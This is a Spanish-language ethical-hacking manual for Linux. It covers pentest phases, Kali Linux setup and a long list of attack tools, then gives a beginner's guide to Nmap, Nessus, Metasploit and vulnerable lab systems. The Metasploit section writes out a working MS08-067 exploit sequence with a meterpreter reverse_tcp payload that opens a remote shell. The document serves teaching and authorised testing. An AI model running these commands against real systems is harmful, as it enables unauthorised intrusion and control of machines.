Testeo de Penetracion linux

download Testeo de Penetracion linux

of 28

description

manual hacking etico con linux

Transcript of Testeo de Penetracion linux

Como administrador de Sistemas una de nuestras responsabilidades y la mas importante es mantener la seguridad de nuestra plataforma lo menos vulnerable posible y para esto es importante que constantemente pongamos a prueba los mtodos de seguridad que tenemos implementado y ademas podamos detectar cualquier vulnerabilidad que exista antes de que esta sea aprovechado por un malintencionado.Y es aqui donde entra el test de penetracin, conocida como pentest, que es el mtodo de evaluar la seguridad de los equipos y las redes de comunicacin simulando un ataque informtico a un servidor o red desde una fuente externa o interna. El proceso consiste en un anlisis activo de todos los equipos de la red para detectar cualquier vulnerabilidad de seguridad por una falla en la configuracin de los servidores o los equipos de seguridad.Los test de penetracin son muy importantes por las siguienes razones. Determinar la viabilidad de un conjunto particular de vectores de ataque Identificar las vulnerabilidades de alto riesgo que resultan de una combinacin de vulnerabilidades de menor riesgo explotados en una secuencia particular Identificar las vulnerabilidades que pueden ser difciles o imposibles de detectar con los sistemas automatizados de la red o por software de deteccin de vulnerabilidades. Probar la capacidad de las defensas de la red para detectar con xito y responder a los ataquesEl Penetration Test se compone de dos fases de testeo:Penetration Test Externo: el objetivo es acceder en forma remota a los equipos de la organizacin y posicionarse como administrador del sistema. Se realizan desde fuera del Firewall y consisten en penetrar la Zona Desmilitarizada (DMZ) para luego acceder a la red interna. Se compone de un elevado nmero de pruebas, Para mencionar algunas: Pruebas de usuarios y la fuerza de sus passwords. Captura de trfico. Deteccin de conexiones externas y sus rangos de direcciones. Deteccin de protocolos utilizados. scanning de puertos TCP, UDP e ICMP. Intentos de acceso va accesos remotos. Anlisis de la seguridad de las conexiones con proveedores, trabajadores remotos o entidades externas a la organizacin. Pruebas de vulnerabilidades existentes y conocidas en el momento de realizacin del Test. Prueba de ataques de Denegacin de Servicio.Penetration Test Interno: este tipo de testeo trata de demostrar cual es el nivel de seguridad interno. Se deber establecer que puede hacer un atacante interno y hasta donde ser capaz de penetrar en el sistema siendo un usuario con privilegios bajos. Este Test tambin se compone de numerosas pruebas: Anlisis de protocolos internos y sus vulnerabilidades. Autenticacin de usuarios. Verificacin de permisos y recursos compartidos. Test de los servidores principales (WWW, DNS, FTP, SMTP, etc.). Test de vulnerabilidad sobre las aplicaciones propietarias. Nivel de deteccin de la intrusin de los sistemas. Anlisis de la seguridad de las estaciones de trabajo. Seguridad de la red. Verificacin de reglas de acceso. Ataques de Denegacin de ServicioActualmente existen distribuciones de Linux que pueden ser de gran ayuda cuando vayamos a llevar a cabo esta tarea de test de penetracin. Para mencionar algunas Backtrack Linux y Kali Linux que es sucesor de Backtrack. Estas distribuciones tienen varias herramientas de deteccin de vulnerabilidades. Mas adelante hablar un poco de estas distribuciones.Gua para realizar test de penetracin. Vulnerabilityassessment publica una interesante gua para realizar test de intrusin, se llama Penetration Testing Framework. Es una gua muy completa y actualizada donde adems de explicar los pasos de un test de penetracin, muestran herramientas y manuales muy interesantes.

La gua est dividida en las fases de un test de penetracin: Obtener informacin de la red. Descubrir elementos de la red. Enumerar servicios. Exploracin de vulnerabilidades. Penetracin.

Adems incorpora unos captulos adicionales para test de penetracin especficos: Test penetracin Bluetooth. Test penetracin Cisco. Test penetracin Wifi. Test penetracin Citrix. Test penetracin para servidores.

Penetration Testing Framework:http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

Kali Linux, pruebas de penetracin y auditoras de seguridadKali es una completa re-construccin de BackTrack Linux desde la base hacia arriba, y se adhiere completamente a los estndares de desarrollo de Debian. Toda la nueva infraestructura ha sido puesta en el lugar, todas las herramientas fueron revisadas y fueron embaladas, y hemos cambiado a Git para nuestro VCS.

Ms de 300 herramientas de pruebas de penetracin: Despus de revisar todas las herramientas que se incluyen en BackTrack, hemos eliminado una gran cantidad de herramientas que, o bien no funcionaban o tenan otras herramientas disponibles que proporcionan una funcionalidad similar.Gratis y siempre lo ser: Kali Linux, al igual que su predecesor, es completamente gratis y siempre lo ser. Nunca, jams, tendrs que pagar por Kali Linux.Git rbol de cdigo abierto: Somos partidarios enormes de software de cdigo abierto y nuestro rbol de desarrollo est disponible para todos y todas las fuentes estn disponibles para aquellos que desean modificar y reconstruir paquetes.Obediente a FHS: Kali ha sido desarrollado para cumplir con el Estndar de jerarqua del sistema de ficheros, permitiendo que todos los usuarios de Linux puedan localizar fcilmente archivos binarios, archivos de soporte, bibliotecas, etc.Amplio apoyo a dispositivos inalmbricos: Hemos construido Kali Linux para que soporte tantos dispositivos inalmbricos como sea posible, permitiendo que funcione correctamente en una amplia variedad de hardware y hacerlo compatible con varios USB y otros dispositivos inalmbricos.Kernel personalizado con parches de inyeccin: Como probadores de penetracin, el equipo de desarrollo a menudo tiene que hacer evaluaciones inalmbricas para que nuestro kernel tenga los ltimos parches de inyeccin incluidos.Entorno de desarrollo seguro: El equipo de Kali Linux est compuesto por un pequeo grupo de personas de confianza que slo puede comprometer e interactuar con los paquetes de los repositorios, haciendo uso de mltiples protocolos seguros.Paquetes firmado con PGP y repos: Todos los paquetes de Kali son firmados por cada desarrollador individualmente cuando se construyen y son comprometidos. Los repositorios posteriormente firman los paquetes tambin.Multi-lenguaje: Aunque las herramientas de penetracin tienden a ser escritas en Ingls, nos hemos asegurado de que Kali tenga soporte multilinge, lo que permite a ms usuarios poder operar en su idioma nativo y encontrar las herramientas necesarias para el trabajo.Totalmente personalizable: Estamos completamente conciente de que no todo el mundo estar de acuerdo con nuestras decisiones de diseo por lo que hemos hecho lo ms fcil posible para nuestros usuarios ms aventureros puedan personalizar Kali Linux a su gusto, todo el camino hasta el ncleo.Soporte ARMEL y ARMHF: Dado a que los sistemas basados en ARM son cada vez ms frecuentes y de bajo costo, sabamos que el soporte de ARM de Kali tendran que ser tan robusta como podramos administrar, resultando en instalaciones que trabajan en sistemas de ARMEL y ARMHF. Kali Linux tiene repositorios ARM integrado con la lnea principal de distribucin de modo que las herramientas para ARM sern actualizada en relacin con el resto de la distribucin. Kali est disponible para los dispositivos ARM siguientes:rk3306 mk/ss808Raspberry PiODROID U2/X2MK802/MK802 IISamsung ChromebookKali est diseado especficamente para las pruebas de penetracin y, por tanto, toda la documentacin de este sitio asume el conocimiento previo del sistema operativo Linux.Error al arrancar la mquina virtual, en virtualbox:Ocurri un error fatal durante la ejecucin de la mquina virtual! La mquina virtual ser apagada. Se sugiere que copie el siguiente error para una evaluacin posterior.The guest is trying to switch to the PAE mode which is currently disabled by default in VirtualBox. PAE support can be enabled using the VM settings (System/Processor).ID error: PAEmodeGravedad: Error fatalSolucin, en virtualbox Ajustes de los clientes -> Sistema -> Procesador -> habilitar PAE / NXTutorial de instalacinManualesAadir repositorios:#nano /etc/apt/sources.listEsto nos abrira el sources.list y colocamos las siguientes lineas debajo de la de kalideb http://http.kali.org/kali kali main contrib non-freedeb http://security.kali.org/kali-security kali/updates main contrib non-freeY ahora para actualizar el sistema con los nuevos repositorios, colocamos lo siguiente en la consola:#apt-get update && apt-get upgrade && apt-get dist-upgradereposCon el fin de tener un apropiado funcionamiento del mouse y la integracin de pantalla as como compartir carpetas con el sistema principal, necesitara instalar las adiciones de husped de VirtualBox.Una vez que haya arrancado su mquina virtual de Kali Linux, abra una ventana de terminal y ejecute el siguiente comando para instalar las cabeceras del kernel de Linux.#apt-get update && apt-get install -y linux-headers-$(uname -r)Una vez completado esto, se pueden adjuntar los Guest Additions CD-Rom. Esto puede ser hecho seleccionando Devices del Menu de VirtualBox y seleccionando Install Guest Additions. Esto montara la iso GuestAdditions a el virtual CD Drive en su maquina virtual Kali Linux. Cuando se le pida autoejecutar el CD, haga clic en el botn Cancel.Desde una ventana de terminal, copie el archivo VboxLinuxAdditions.run de Guest Additions CD-Rom a la ruta en el sistema local asegurandose que sea ejecutable y el archivo pueda correr al iniciar la instalacin.cp /media/cd-rom/VBoxLinuxAdditions.run /root/chmod 755 /root/VBoxLinuxAdditions.runcd /root ./VboxLinuxAdditions.runReinicie su VM Kali Linux para completar la instalacin de las adiciones de huespd. Ahora debera tener completa integracin del mouse y pantalla, as como la capacidad de compartir carpetas con el sistema principal.Creacin de carpetas compartidas en el sistema principal:Desde el administrador de la VirtualBox, seleccione su instancia de Kali Linux VM y haga clic en el enlace Shared Folders en el panel derecho de la ventana. Esto abrir una ventana emergente para agregar carpetas. Dentro de esta ventana, haga clic en el icono para agregar una carpeta.En la caja de texto de la ruta de carpeta, proporcione la ruta a la carpeta que desea compartir, o haga clic en la flecha descendente para navegar hacia la ruta de su sistema principal. Seleccione las casillas de verificacin que permiten el Auto-mount y Make Permanent y haga clic en el botn OK ambas veces cuando se le solicite.Ms info sobre creacin de carpetas compartidasListado de herramientas: Tcpflow (monitorizar trfico red) Intrace Zenmap (Escner de puertos) Sqlninja (SQL Server) Acccheck (SMB Samba) Forensics mode Offline password cracking como John the Ripper Guymager (creacin imgenes) Chkrootkit (anti rootkit) Metasploit Armitage p0f DDMS apktoolHerramientas DNSAnlisis DNS dnsdict6 dnsenum dnsmap dnsrecon dnsrevenum6 dnstracer dnswalk fierce maltego nmap urlcrazyIdentificacin Host fragroute fragrouter wafw00f alive6 arping cdpsnarf detect-new-ip-6 detect-sniffer6 dmitry dnmap-client dnmap-server fping hping3 inverse_lookup6 miranda ncat netdiscover nmap passive_discovery6 thcping6 wol-e xprobe2Scners de Red dmitry dnmap-client dnmap-server netdiscover nmapDeteccin Sistema Operativo (OS Fingerprinting) dnmap-client dnmap-server miranda nmapHerramientas OSINT (EssentialOSINTTools for Social Engineering) casefile creepy dmitry jigsaw maltego metagoofil theharvester twofi urlcrazyAnlisis Samba accheck nbtscan nmapAnlisis SNMP braa cisco-auditing-tool cisco-torch copy-router-config merge-router-config nmap onesixtyoneAnlisis SSL sslcaudit ssldump sslh sslscan sslsniff sslstrip sslyze stunnel4 tlssledAnlisis de Trfico cdpsnarf intrace irpas-ass irpass-cdp p0f tcpflow wiresharkAnlisis de VOIP ace enumiaxAnlisis VPN ike-scanAnlisis Vulnerabilidades cisco-auditing-tool cisco-global-exploiter cisco-ocs cisco-torch yersiniaAnlisis Base de Datos (SQL) bbqsql dbpwaudit hexorbase mdb-export mdb-parsecsv mdb-sql mdb-tables oscanner sidguesser sqldict sqlmap sqlninja sqlsus tnscmd10gHerramientas Fuzzing (Fuerza Bruta) bed fuzz_ip6 ohrwurm powerfuzzer sfuzz siparmyknife spike-generic_chunked spike-generic_listen_tcp spike-generic_send_tcp spike-generic_listen_upd burpsuite powerfuzzer webscarab webslayer websploit wfuzz xsser zaproxyIdentificacin de CMS blindelephant plecost wpscanProxys burpsuite paros proxystrike vega webscarab zaproxyHerramientas Web apache-users burpsuite cutycapt dirb dirbuster vega webscarab webslayer zaproxyHerramientas GPU oclhashcat-lite oclhashcat-plus pyritHerramientas Off-line cachedump chntpw cmospwd crunch dictstat hashcat hash-identifier john the ripper johnny lsadump maskgen oclhashcat-lite oclhashcat-plus ophcrack ophcrack-cli policygen pwdump pyrit rainbowcrack rcracki_mt rsmangler samdump2 sipcrack sucrack truecrackHerramientas Online accheck burpsuite cewl cisco-auditing-tool dbpwaudit findmyhash hydra hydra-gtk medusa ncrack onesixtyone patator phrasendrescher thc-pptp-bruter webscarab zaproxyAtaques Bluetooth bluelog bluemaho blueranger btscanner fang spooftoophHerramientas Wireless Wifi aircrack-ng aireplay-ng airmon-ng airodump-ng asleap cowpatty eapmd5pass fern-wifi-cracker genkeys genpmk giskismet kismet mdk3 wifiarp wifidns wifi-honey wifiping wifitap wifite zbassocflood zbconvert zbdsniff zbdump zbfind zbgoodfind zbid zbreplay zbstumblerHerramientas NFC mfcuk mfoc mifare-classic-format nfc-list nfc-mfclassicSniffers de Red darkstat dnschef dnsspoof dsniff ettercap-graphical hexinject mailsnarf netsniff-ng passive_discovery6 sslsniff tcpflow urlsnarf webmitm webspy wireshark ettercap-graphical evilgrade fake_advertise6 fake_dns6d fake_dnsupdate6 fake_mipv6 fake_mld26 fake_mld6 fake_mldrouter6 fake_router6 fake_solicitate6 fiked macchanger parasite6 randicmp6 rebind redir6 sniffjoke sslstrip tcpreplay wifi-honey yersiniaHerramientas VoIP iaxflood inviteflood ohrwurm protos-sip rtpbreak rtpflood rtpinsertsound rtpmixsound sctpscan siparmyknife sipp sipsak svcrack svcrash svmap svreport svwar voiphopperSniffers Web burpsuite dnsspoof driftnet ferret mitmproxy urlsnarf webmitm webscarab webspy zaproxyBackdoors cymothoa dbd intersect powersploit sbd u3-pwnHerramientas de Tunneling cryptcat dbd dns2tcpc dns2tcpd iodine miredo ncat proxychains proxytunnel ptunnel pwnat sbd socat sslh stunnel4 updtunnelDebuggers (Decompiladores) y Reversing edb-debugger ollydbg jad rabin2 radiff2 rasm2 recstudio recstudio-cli apktool clang clang++ dex2jar flasm javasnoop radare2 rafind2 ragg2 ragg2-cc rahash2 rarun2 rax2Herramientas Stress de Red (Web, Wlan) denial6 dhcpig dos-new-ip6 flodd_advertise6 flood_dhcpc6 flood_mld26 flood_mld6 flood_mldrouter26 flood_router6 flood_solicitate6 fragmentation6 inundator kill_router6 macof rsmurf6 siege smurf6 iaxflood invite flood thc-ssl-dos mdk3 reaverHerramientas Android android-sdk apktool baksmali dex2jar smaliHerramientas Anlisis Forense (Creacin imgenes, Suites, RAM, PDF) autopsy binwalk bulk_extractor chrootkit dc3dd dcfldd extundelete foremost fsstat galleta tsk_comparedir tsk_loaddb affcompare affcopy affcrypto affdiskprint affinfo affsignaffstats affuse affverify affxml blkcalc blkcat blkstat bulk_extractor ffind fls foremost galleta hfind icat-sleuthkit ifind ils-sleuthkit istat jcat mactime-sleuthkit missidentify mmcat pdgmail readpst reglookup sorter srch-strings tsk_recover vinetto binwalk bulk_extractor foremost jls magicrescue pasco pev recoverjpeg fifiuti rifiuti2 safecopy scalpel scrounge-ntfs affcat affconvert blkls dc3dd dcfldd ddrescue ewfacquire ewfacquirestream ewfexport ewfinfo ewfverify fsstat guymager img_cat img_stat mmls mmstat tsk_gettimes autopsy dff pdf-parser peepdf volafox volatility

Pruebas de penetracin para principiantes: 5 herramientas para empezarEscrito por Sebastin Bortnik | publicado el Mar, 16/07/2013 - 12:06 numero-18 hackeo tico hacking herramientas pentestRealizar pruebas de penetracin es una tarea compleja, involucra un proceso en donde se realizan distintos tipos de tareas que identifican, en una infraestructura objetivo, las vulnerabilidades que podran explotarse y los daos que podra causar un atacante. En otras palabras, se realiza un proceso de hacking tico para identificar qu incidentes podran ocurrir antes de que sucedan y, posteriormente, reparar o mejorar el sistema, de tal forma que se eviten estos ataques.

Para realizar una prueba de penetracin de forma profesional, es necesario sumar a los conocimientos de hacking tico[1], otros aspectos fundamentales como: programacin, metodologas, documentacin, entre otros. No obstante, esos aprendizajes suelen venir una vez que se conocen y se saben utilizar muchas herramientas que son parte del proceso de penetration testing. El presente artculo es un listado de las cinco herramientas que debes conocer, instalar y probar para dar tus primeros pasos en este arte.Lo que vers a continuacin, es una pequea gua de por dnde empezar para aquellos principiantes que deseen introducirse en el mundo del hacking tico y de las pruebas de penetracin. Estas son, a mi criterio, las primeras herramientas que debers conocer, no solo para comenzar a prepararte para realizar esta tarea, sino para empezar a comprenderla.1. NMAP

Imagen 1. Salida tradicional de ejecucin de Nmap (nmap.org)En un proceso completo de pruebas de penetracin, existen instancias previas a ejecutar esta herramienta pero, para dar los primeros pasos, probablemente sea la mejor forma de comenzar. Nmap es una herramienta de escaneo de redes que permite identificar qu servicios se estn ejecutando en un dispositivo remoto, as como la identificacin de equipos activos, sistemas operativos en el equipo remoto, existencia de filtros o firewalls, entre otros.En palabras sencillas, cuando se va a atacar un servidor o dispositivo, el atacante podr realizar distintas arremetidas en funcin del servicio: no es lo mismo daar un servidor web, un servidor de base de datos o un router perimetral. Por lo tanto, en cualquier despliegue, el primer paso ser identificar los servicios en la infraestructura, para decidir cmo avanzar y, considerando que en una prueba de penetracin se imitan los pasos de un atacante, tambin se iniciar de la misma manera.Nmap es una herramienta de lnea de comandos (existen algunas interfaces grficas pero, personalmente, no las recomiendo, aunque es una cuestin de gustos) donde se debe indicar cul ser el o los objetivos y la serie de parmetros que afectarn la forma en que se ejecuten las pruebas y los resultados que se obtienen. Puede instalarse tanto en Linux, Windows, Mac u otros sistemas operativos.En su forma tradicional, una lnea de comando sera la siguiente:> nmap 172.16.1.1En donde nmap es el comando en s mismo y 172.16.1.1 es el objetivo (que tambin puede ser indicado con un nombre de dominio). La respuesta a estos comandos ser un listado de los puertos abiertos o cerrados en dicha direccin. La ejecucin sin parmetros ejecuta un escaneo sencillo a los 1000 puertos ms comunes (vase que en la imagen se muestra uno abierto y 999 cerrados), realizando anteriormente un ping para ver si el equipo est vivo (si el equipo no responde al ping, no se realizar el test de los puertos).Cuando agregas parmetros puedes obtener mejores resultados. Algunos parmetros comunes para tener en cuenta son: [-iL] puedes indicar una lista de equipos o redes a escanear.> nmap iL hosts.txt [-sP] solo escanea con un ping. Es una buena forma de ver cuntas direcciones IP se pueden checar. Una vez que se tienen enlistadas, se podr ir solo con las que estn vivas. [-P0] es la forma de omitir el ping e ir directo al escaneo de puertos. Muchos sistemas no responden el ping como mtodo de seguridad, por lo que, escanearlos de todas formas, tambin puede ser til en entornos ms reales (no es necesario para los entornos de aprendizaje inicial). [-p] lista los puertos que se desean escanear.> nmap iL hosts.txt p 22,25,80,445 [-sV] intenta determinar la versin del servicio en el objetivo. [-O] informa el sistema operativo en el objetivo.Una vez ejecutado Nmap, ya se conocen cules son los servicios (al menos los identificados) que se estn ejecutando en el blanco de la prueba de penetracin. Ahora ya se puede pasar a las siguientes etapas, en donde se utilizar esta informacin para comenzar la bsqueda de vulnerabilidades en la infraestructura y en los servicios identificados.Ficha tcnica Herramienta: Nmap Sitio web: http://nmap.org/ Cmo empezar: instalarlo, ejecutar un comando sencillo hacia una direccin IP y luego probar agregando parmetros (nmap --helppuede brindar ms informacin) o ejecutar para mltiples direcciones IP (que deben ser indicadas en un archivo TXT). Ms informacin: Recomiendo este artculo con 30 comandospara ver y analizar las diferencias en las respuestas. Tambin est el libro oficial para explotar al mximo la funcionalidad de Nmap, escrito por su creador, Gordon Fyodor Lyon.2. NESSUSUna vez que se tienen identificados los servicios que se estn ejecutando, se puede comenzar el uso de las herramientas que sirven para identificar vulnerabilidades en los servicios. En este campo, la mejor herramienta para introducirse en este mundo es Nessus, otra aplicacin gratuita (solo para uso hogareo, suficiente para los fines de este artculo; en el caso de fines profesionales es necesario usar la versin de pago) que, por su base de datos y su facilidad de uso, es la preferida en este aspecto.Aunque posee una lnea de comandos, considero que su interfaz grfica, muy completa e intuitiva, es una forma sencilla de comenzar a probar esta herramienta.Nessus posee una extensa base de datos de vulnerabilidades conocidas en distintos servicios y, por cada una de stas, posee plugins que se ejecutan para identificar si la vulnerabilidad existe (o no) en determinado equipo objetivo. En resumen, al ejecutarse Nessus sin parmetros especficos, se probarn miles de vulnerabilidades y se obtendr como resultado un listado de las vulnerabilidades que fueron identificadas.La lgica de Nessus es similar a Nmap: hay que indicar el objetivo, en este caso la o las direcciones IP y los parmetros. Estos permiten limitar el campo de bsqueda, especialmente si en una etapa anterior se identificaron los servicios: no tiene sentido buscar vulnerabilidades conocidas en Linux en un equipo que tiene instalado Windows.

Imagen 2. Seccin de configuraciones generales de exploracin de Nessus (tenable.com)Ficha tcnica Herramienta: Nessus Sitio web: http://www.tenable.com/products/nessus/ Cmo empezar: Si tienes Windows, instalarlo ah por interfaz grfica es muy sencillo, funciona para conocerlo por primera vez. Recomiendo buscar el listado de plugins y ejecutar pruebas limitando solo a determinados servicios. Ms informacin: Un listado completo de plugins est disponible en el sitio web, la lectura de las descripciones es muy til para aprender ms sobre vulnerabilidades en diversas plataformas (http://www.tenable.com/plugins/index.php?view=all).3. Metasploit FrameworkUna vez identificados los servicios y sus vulnerabilidades, el paso siguiente sera la explotacin de las vulnerabilidades. Es decir, primero se tiene que probar si realmente las vulnerabilidades identificadas permiten a un atacante causar algn dao. Despus se intenta conocer cul sera ese dao. A pesar de que se haya identificado una vulnerabilidad en la instancia anterior, podra ser que, al momento de intentar explotarla, existan otras medidas de control que no hayan sido consideradas, otras capas de seguridad o distintas variables que podran hacer ms complicada la explotacin de la misma. Asimismo, si se logra explotar la vulnerabilidad, podra comprobarse y dimensionar cul podra ser el dao hacia la organizacin, en funcin de la informacin o sistemas que estuvieran detrs de dicha vulnerabilidad.Para este fin, Metasploit es la herramienta ideal para hacer estas pruebas. Mientras Nessus posee una base de datos de vulnerabilidades, Metasploit posee una base de exploits que podran aprovecharlas. En otras palabras, en lugar de revisar si hay una vulnerabilidad en un equipo remoto, directamente se intenta la ejecucin de un exploit y se simulan las consecuencias posteriores, en caso de que ste se ejecutara con xito.Al igual que Nessus, su versin de lnea de comandos, msfconsole, es la tradicional, incluso recomendable para la automatizacin. Sin embargo, su interfaz grfica es muy conveniente para dar los primeros pasos y tener una mayor comprensin.Si quieres probar la lnea de comandos puedes hacer las primeras pruebas. En Windows puedes abrirla directamente desde el Men de inicio como Metasploit Console. En Linux, tan solo puedes ejecutar un simple comando:> sudo msfproUna vez que ests en la consola, vers que cambia el prompt:msf-pro >Hay una serie de comandos sencillos para dar los primeros pasos. Search, use, show, set y exploit son probablemente los mejores. Probaremos explotar una de las vulnerabilidades ms famosas en Windows, la MS 08-067 (para ver el boletn de la vulnerabilidad, clic aqu), una vulnerabilidad crtica descubierta en 2008 que permita ejecucin remota de cdigo.Si en un paso anterior (con Nessus) encontraste que el sistema posee dicha vulnerabilidad (con Nmap podras haber encontrado que ests lidiando con una mquina Windows), sera lgico con search encontrar el exploit a utilizar.msf-pro > search exploits 08-067Entre los resultados, lo ms importante es que podrs encontrar la ruta del exploit y luego con use podrs decidir utilizarlo (s, asombroso):msf-pro > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >El comando show mostrar las alternativas para ejecutar el exploit.msf exploit(ms08_067_netapi) > show optionsLuego, se podr utilizar el comando set para configurar el exploit antes de la ejecucin. En este caso, definiremos el local host (nuestra direccin IP), al host remoto (la direccin IP de destino, donde se supone que ya sabemos existe la vulnerabilidad) y el payload (accin a ejecutar, en este caso usaremos reverse_tcp que nos dar una consola remota en el equipo).msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST [192.168.0.1]

msf exploit(ms08_067_netapi) > set RHOST [192.168.0.10]Finalmente, solo debes ejecutar exploit.msf exploit(ms08_067_netapi) > exploitSi pudiste hacer estos pasos correctamente, podrs ver una consola remota en el equipo Windows y podrs testearla con comandos regulares de consola (ipconfig, dir, etc.).Ficha tcnica Herramienta: Metasploit Sitio web: http://www.metasploit.com/ Dnde empezar: una vez instalado, haz la prueba con alguna vulnerabilidad que permita el uso de una consola meterpreter remota, son sencillas de probar si fueron exitosas. Hay que tener precaucin con las vulnerabilidades de denegacin de servicio. Ms informacin: Existe un documento oficial completo para dar los primeros pasos en Metasploit Framework, muy recomendable, Metasploit Community Getting Started Guide".4. DVL DVWAPara probar las tres herramientas anteriores, es necesario definir un sistema objetivo, un sistema en el que se harn las pruebas. Una psima costumbre de quienes inician en este mbito es realizar sus primeros pasos y pruebas en sistemas pblicos de Internet, en un entorno real. Esto podra acarrear problemas legales y no es la forma correcta (ni tica) de realizarlo. Para aprender a usar estas herramientas, se debe utilizar un entorno de pruebas, es decir, un escenario de investigacin en donde uno pueda tener acercamientos sin riesgos de afectar algn entorno en produccin.Para ello, existen dos herramientas excelentes: Damn Vulnerable Linuxy (DVL) y Damn Vulnerable Web Application (DVWA). Aunque el primero est descontinuado, an se puede conseguir en Internet para hacer los primeros pasos y primeras pruebas. Se trata de un sistema operativo y una aplicacin web que poseen todo tipo de vulnerabilidades, de tal forma que, la persona que los utiliza, puede intentar explotarlas y experimentar.Tambin es posible construir nuestro propio sistema de pruebas: tan solo instala cualquier sistema operativo (desactiva las actualizaciones o instala una versin antigua) y sobre l comienza a instalar servicios en versiones anteriores a la ltima. De esta forma, tendrs tu propio sistema vulnerable para hacer pruebas. Este entorno es el correcto para dar tus primeros pasos en Penetration Testing.

Imagen 4. Damn Vulnerable Web Application (computersecuritystudent.com)Ficha tcnica Herramienta: Damn Vulnerable Web Application Sitio web: http://www.dvwa.co.uk/ Dnde empezar: Instala el programa e intenta encontrar y explotar vulnerabilidades comunes con la herramienta anterior. Ms informacin: la aplicacin posee informacin adicional, da clic aquencontrars los aspectos ms importantes para instalarlo.5. Kali Linux (Backtrack)Finalmente, hay una distribucin de Linux diseada exclusivamente para Penetration Testing. Las herramientas antes descritas (Nmap, Nessus, Metasploit) estn disponibles y, no solo eso, tambin hay muchas ms herramientas para continuar practicando. Por ejemplo, Kali (antes conocida como Backtrack) es una distribucin que posee todo tipo de herramientas preinstaladas que sirven para realizar Penetration Testing.El orden en que se presentaron las herramientas no es aleatorio, es lo recomendable para comenzar a experimentar. Primero hay que probarlas de forma aislada y luego, abocarse completamente a Kali Linux.Kali Linux puede ser descargada como imagen ISO o directamente para VMWare. Una vez que inicias un sistema Kali Linux, vers un men muy extenso con ms de 300 herramientas para pentesters. Nmap y Metasploit Framework estn incluidos en esta lista, entre otros.

Imagen 5. Men de Kali Linux (voiceofgreyhat.com)Para una mejor comprensin, las herramientas son presentadas en diferentes categoras, aqu algunas de las ms importantes:

Information gathering: Herramientas de recoleccin de datos que ofrecen informacin sobre los objetivos de los anlisis, especialmente herramientas de DNS, dominios y direcciones IP. Nmap est en esta categora. Aplicaciones web: Herramientas diseadas para realizar anlisis en sitios web a nivel de servidores. Recomendaciones para esta seccin: Nikto y w3af para encontrar vulnerabilidades en los sitios. Ataques a contraseas: Herramientas para hacer cracking de contraseas, de forma tal, que se prueban ataques de fuerza bruta o diccionario para encontrar las contraseas de acceso correctas a un formulario o sistema. Ataques inalmbricos: Cuando un atacante est conectado a una red wireless puede ejecutar algunos ataques, especialmente cuando intenta interceptar informacin que est siendo transmitida mediante esa red inalmbrica. Estas herramientas permiten analizar la red y diagnosticar su seguridad. Herramientas de explotacin: Metasploit Framework es la clave de esta seccin, entre otras herramientas que permiten explotar vulnerabilidades. Sniffing/Spoofing: Wireshark y Ettercap son las herramientas ms recomendables. Con ellas, es posible ver el trfico de red que podra permitir el acceso a informacin confidencial, entre otros ataques. Ingeniera inversa: Ollydbg es uno de los mejores debuggers que podran ayudar a comprender qu acciones realiza un archivo en el sistema por medio de un proceso de ingeniera inversa. Forense: Tambin hay una serie de herramientas para realizar anlisis forenses sobre un sistema, es decir, se puede analizar el estado de un sistema justo en el momento que ocurri determinado incidente; adems se identifican acciones pasadas o archivos ocultos en el mismo, entre otros.

Ficha tcnica Herramienta: Kali Linux Sitio web: http://www.kali.org/ Cmo empezar: primero, probar las herramientas antes listadas pero desde dentro de Kali Linux y luego, adentrarse en su men, donde las herramientas estn categorizadas, lo que permitir mayor comprensin. Ms informacin: hay documentos disponibles en el sitio oficial en varios idiomas, para conocer ms en detalle el kit de herramientas.6. La sexta herramienta: nuestro cerebroHay una falsa idea de que una prueba de penetracin es la ejecucin de una serie de herramientas en un orden determinado. Esto no es as, la eleccin de las herramientas, la ejecucin de tareas manuales y la utilizacin de una metodologa, son tan solo algunas de las variables para convertirse en un profesional de Penetration Testing. Sin embargo, un factor comn en todo el proceso, es que tenemos que pensar. Hay dos tipos de ethical hacker, aquel que solo lee y utiliza lo que dicen las herramientas y aquel que interpreta y pone su inteligencia para ofrecer un informe que realmente brinde valor a su cliente, aquella empresa u organizacin que necesita conocer cmo mejorar la proteccin de la informacin y su infraestructura.Los atacantes no solo ejecutan herramientas, sino que piensan cmo atacar. Al momento de realizar un Pentest es fundamental no perder de vista nuestra herramienta principal: pensar. Independientemente de las herramientas de software que utilicemos, pensar constantemente como un atacante, es la clave principal para realizar un Penetration Testing de forma exitosa.Qu debes hacer ahora? Solo toma esta gua, descarga las herramientas e intenta utilizarlas. Probablemente en una primera instancia tengas ms preguntas que respuestas y si as fuera, esa es la mejor manera de comenzar.